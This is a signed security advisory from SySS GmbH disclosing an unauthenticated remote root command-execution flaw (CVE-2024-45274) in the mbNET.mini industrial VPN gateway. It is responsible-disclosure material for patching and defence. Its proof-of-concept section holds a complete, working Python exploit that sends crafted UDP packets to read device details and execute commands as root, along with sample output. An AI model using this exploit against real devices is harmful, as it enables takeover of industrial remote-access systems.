-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2024-063 Product: mbNET.mini Manufacturer: Red Lion Europe GmbH Affected Version(s): Firmware Versions: <= 2.2.13; other/similar devices are also affected (see manufacturer note[4]) Tested Version(s): Firmware Version: 2.2.13, 2.2.11 Vulnerability Type: Missing Authentication for Critical Function (CWE-306) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2024-07-25 Solution Date: 2024-09-25 Public Disclosure: 2024-10-15 CVE Reference: CVE-2024-45274 Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The mbNET.mini is a VPN gateway used for remote access and maintenance in industrial environments. The manufacturer describes the product as follows (see [1]): "The mbNET industrial router is the ideal basis for securely connecting your machines and systems to the Internet - for direct access or via our remote service portal (my)mbCONNECT24." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: A UDP service listening on port 25353 on the mbNET.mini ("confnet") accepts several commands including critical functions such as configuration upload or direct OS commands. Due to missing authentication and execution with the highest system privileges, an attacker who can reach this network service is able to fully compromise the device. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. The mbNET.mini executes the ARM binary "/usr/bin/confnet" by default, which spawns a UDP service on port 25353. 2. This binary listens for messages in a specific format to perform different actions, e.g. rebooting the system, uploading files, responding with device information or executing supplied OS commands. Besides the serial number, no authentication is required. 3. The following Python script allows, e.g., getting the device's serial number and firmware version as well as executing commands as root: ############################################################# import socket import sys import struct import binascii PORT = 25353 LPORT = 25352 SUCCESS = "\033[1;32m[+]\033[0m " INFO = "\033[1;34m[*]\033[0m " ERROR = "\033[1;31m[!]\033[0m " # valid commands found in /usr/bin/confnet COMMANDS = { "get_hw": "0101", "get_type": "0102", "get_serial": "0103", "get_net": "0104", "get_fw": "0105", "get_combi": "01f0", "set_net": "1004", "reboot": "2001", "cmd_no_output": "2002", "reboot2": "2101", "cmd": "2102" } def exec_cmd(serial, cmd): serial_hex = serial.encode('utf-8').hex() command_hex = cmd.encode('utf-8').hex() message = f"{COMMANDS['cmd']}{serial_hex}00{command_hex}" length = len(message) // 2 length_bytes = struct.pack('!H', length) length_hex = binascii.hexlify(length_bytes).decode('utf-8') hex_string = f"{length_hex}{message}" return hex_string def get_info(action): if action == "serial": message = COMMANDS['get_serial'] elif action == "fw": message = COMMANDS['get_fw'] length = len(message) // 2 length_bytes = struct.pack('!H', length) length_hex = binascii.hexlify(length_bytes).decode('utf-8') hex_string = f"{length_hex}{message}" return hex_string def send_udp_message(hex_string, target_ip): message_bytes = bytes.fromhex(hex_string) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(message_bytes, (target_ip, PORT)) sock.close() def listen_for_response(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('', LPORT)) sock.settimeout(3) try: data, addr = sock.recvfrom(1024) print(f"{SUCCESS}Received response from {addr}:") try: data = data.decode('utf-8') except: print(f"{ERROR}Error while decoding response") print(f"{data}") except socket.timeout: print(f"{ERROR}No response received within 3 seconds.") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"{ERROR}Usage: python script.py info|cmd") sys.exit(1) if sys.argv[1] == "info": if len(sys.argv) != 3: print(f"{ERROR}Usage: python script.py info ") sys.exit(1) target = sys.argv[2] print(f"{INFO}Getting device info...") message = get_info("serial") send_udp_message(message, target) listen_for_response() message = get_info("fw") send_udp_message(message, target) listen_for_response() elif sys.argv[1] == "cmd": if len(sys.argv) != 5: print(f"{ERROR}Usage: python script.py cmd ") sys.exit(1) serial = sys.argv[2] target = sys.argv[3] cmd = sys.argv[4] print(f"{INFO}Executing command...") message = exec_cmd(serial, cmd) send_udp_message(message, target) listen_for_response() ############################################################# 4. Getting the device's serial number: $ python3 exploit.py info 192.168.0.100 [*] Getting device info... [+] Received response from ('192.168.0.100', 25353): 39158600015623 5. Executing OS commands: $ python3 exploit.py cmd 39158600015623 192.168.0.100 'id' [*] Executing command... [+] Received response from ('192.168.0.100', 25353): !uid=0(root) gid=0(root) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update the device according to the manufacturer note.[4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-07-23: Vulnerability discovered 2024-07-25: Vulnerability reported to manufacturer 2024-07-25: Manufacturer confirmed reception 2024-07-31: Manufacturer asked for alternative publication date 2024-07-31: Asked the manufacturer for updates on the planned fixes 2024-08-02: Manufacturer responded that SYSS-2024-060 will not be fixed and a new "encryption" concept will be implemented for SYSS-2024-059 2024-09-10: Update of the vulnerability state and the planned fixes by the manufacturer 2024-09-20: CVE IDs assigned by the manufacturer 2024-09-24: Committment of the publication date (2024-10-15) 2024-10-15: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] mbNET product website https://mbconnectline.com/mbnet-en/ [2] SySS Security Advisory SYSS-2024-063 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-063.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] Manufacturer note https://advisories.mbconnectline.com/pdf/SIM2024-04.pdf [5] CVE-2024-45274 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45274 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Abrell of SySS GmbH. E-Mail: moritz.abrell@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmcGHgAACgkQrgyb+PE0 i1NV3w//Vq4JOh+hvwaPjHeuMf1VOluzPRSiXzobvsPmm2O0+A6EgEYoZWMObrf3 4b2OYkGBKlKzOK+sSPndCh1hlXWrnKFDjGWNvGVNrp1p756ReNENJw8TODtgtZzD 54eGk8tLavIBeNzA+J98XvA3Y1ZduWi1P0adPJe0rfkyDCGXxijzZVXMOaYo1CIH 0jwYuWZ+tTHWyerKBSuzmwUnL1+kAqktv9DrMUgGNcgXCvRJQ2N51wlngepS2Ljx qG/LByf7lMV+cTK1q+0/eeTGRO5yR/nItqmQsGsHQoMBtkIxpr4pEOSSUyztC2dT gfNlt4e4SDKy92k44+bf2DYMkhLFDIVNTG0CqbPgE2dhdkFXoLqEtECwBZgT67kb drGQFQD0pusgWSIDibggNnhxqYCCPDszpNtrm1wsXSLa7seiWHt6yk+5RhX6xg1l eryamBOdtJsqxN1wNx8k9wHGOC0pUtReZ9lO1Ojb//pNAfyYBxw7d6hn1jnH6WbY Ea0Uw0kmOHZBMFfre9cM7CEXV2cOICojOhyFbKdCUq+/g9CRmiifyDi52q7c2W+l Dn6rnBLXuU0Ew3IWSm6rsB+JLmVsUdohlbRRI2AxrvVPA9+I8L+xYy2Q+erUnipb fvCbTB5z6tm6GZFVW2GNz8XsG++fuOL5Hpae+zuHWFbokx+69tg= =ui7e -----END PGP SIGNATURE-----